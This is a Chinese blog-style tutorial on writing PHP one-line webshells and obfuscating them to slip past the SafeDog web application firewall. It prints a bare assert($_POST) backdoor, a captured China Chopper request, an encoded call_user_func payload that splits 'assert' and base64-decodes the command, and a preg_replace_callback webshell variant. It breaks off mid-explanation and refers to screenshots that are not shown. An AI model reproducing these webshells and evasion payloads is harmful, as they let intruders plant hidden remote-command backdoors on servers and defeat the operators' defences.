一句话好做,但是过了马子还得过狗。
思路还是很好分析的,毕竟2019年了,站在巨人的肩膀上,前面有那么多大佬前赴后继的研究。
以下文章将会从三个点来进行分析与实践。
上图中可以得出,在assert函数中不能够使用类,所以思路一被pass掉了.
函数这条路也走不通,oo,只剩下回调函数了.
PHP中的回调函数比较常用的共4个:
我们一个一个分析,首先将马子部署到服务器上,代码为:
<?php
assert($_POST['xxx']);
?>
然后将菜刀的请求包抓下来:
POST /best_php_shell.php HTTP/1.1
User-Agent: Java/1.8.0_221
Host: 10.165.143.19
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 93
Connection: close
xxx=[payload]&action=phpinfo();
首先必须确保脚本能够正确执行,在assert或者eval中,不能够使用function 以及class。
说完这个,在回到回调函数:call_user_func
语法:
call_user_func(函数名,参数1,参数2);
使用到马子:
发现执行成功了。但是这样是会被安全狗拦截掉的。
所以还需要在魔改一下:
当使用如下payload:
xxxx=call_user_func('ass'.'ert',call_user_func(base64_decode,$_POST[action]))&action=%63%47%68%77%61%57%35%6d%62%79%67%70%4f%77%3d%3d
这样就可以绕过了:
其他的call_user_func_array、array_map、preg_replace_callback
也是同理,现在要思考的可变性,如何才能减少安全狗等软件的匹配呢?想来想去也只要在代码里面做手脚了。
最后想来想去,好像也只能改代码了,因为在assert中局限性太大了,也算是一个不足之处吧。
接下来使用preg_replace_callback函数,代码如下:
<?php
function test($name){
$name[1](base64_decode($name[2]));
}
preg_replace_callback("/-(.*?)-(.*?)-/",$_POST['func'],"-assert-{$_POST['action']}-");
?>
POST传参过去: